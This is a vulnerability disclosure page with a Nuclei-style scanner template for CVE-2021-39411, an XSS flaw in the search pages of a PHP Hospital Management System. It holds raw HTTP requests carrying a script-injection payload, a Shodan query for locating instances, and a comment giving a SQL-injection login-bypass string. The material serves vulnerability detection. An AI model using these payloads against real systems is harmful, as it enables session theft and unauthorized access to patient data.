CVE-2021-39411: Hospital Management System 1.0 - Cross-Site Scripting

2025-08-01 Hospital Management System 1.0 PoC Public

Description

Hospital Management System 1.0 contains a cross-site scripting vulnerability via the searchdata parameter in doctor/search.php and patient-search.php.

PoC

id: CVE-2021-39411

info:
  name: Hospital Management System 1.0 - Cross-Site Scripting
  author: arafatansari
  severity: high
  description: |
    Hospital Management System 1.0 contains a cross-site scripting vulnerability via the searchdata parameter in doctor/search.php and patient-search.php.
  impact: |
    Authenticated attackers can inject malicious JavaScript via XSS in the searchdata parameter, potentially stealing session cookies or performing unauthorized administrative actions.
  remediation: |
    Apply security patches or upgrade to Hospital Management System version 1.1 or later.
  reference:
    - https://vulmon.com/vulnerabilitydetails?qid=CVE-2021-39411&scoretype=cvssv3
    - https://nvd.nist.gov/vuln/detail/CVE-2021-39411
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2021-39411
    epss-score: 0.00914
    epss-percentile: 0.58351
    cwe-id: CWE-79
    cpe: cpe:2.3:a:phptpoint:hospital_management_system:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    shodan-query: http.html:"Hospital Management System"
    comment: Login bypass is also possible using the payload - admin'+or+'1'%3D'1' in username.
    product: hospital_management_system
    vendor: phptpoint
  tags: cve,cve2021,hms,hospital,cms,xss,authenticated,vuln

http:
  - raw:
      - |
        POST /hms/doctor/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}&submit=
      - |
        POST /hms/doctor/search.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        searchdata=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&search=
      - |
        POST /hms/admin/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}&submit=
      - |
        POST /hms/admin/patient-search.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        searchdata=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&search=

    matchers:
      - type: dsl
        dsl:
          - 'contains(header_2, "text/html") || contains(header_4, "text/html")'
          - "status_code_2 == 200 || status_code_4 == 200"
          - 'contains(body_2, ''Result against \"<script>alert(document.domain)</script>\" keyword'') || contains(body_4, ''Result against \"<script>alert(document.domain)</script>\" keyword'')'
        condition: and
# digest: 4b0a00483046022100ffa68586de374685f0e95dd21d7a2daf767fc0ce4055e8ae64992c49c12bd5df022100d4650d8d2e1c8a7841911b9241bc94708de29497932e744d961ef8459821219a:922c64590222798bb761d5b6d8e72950

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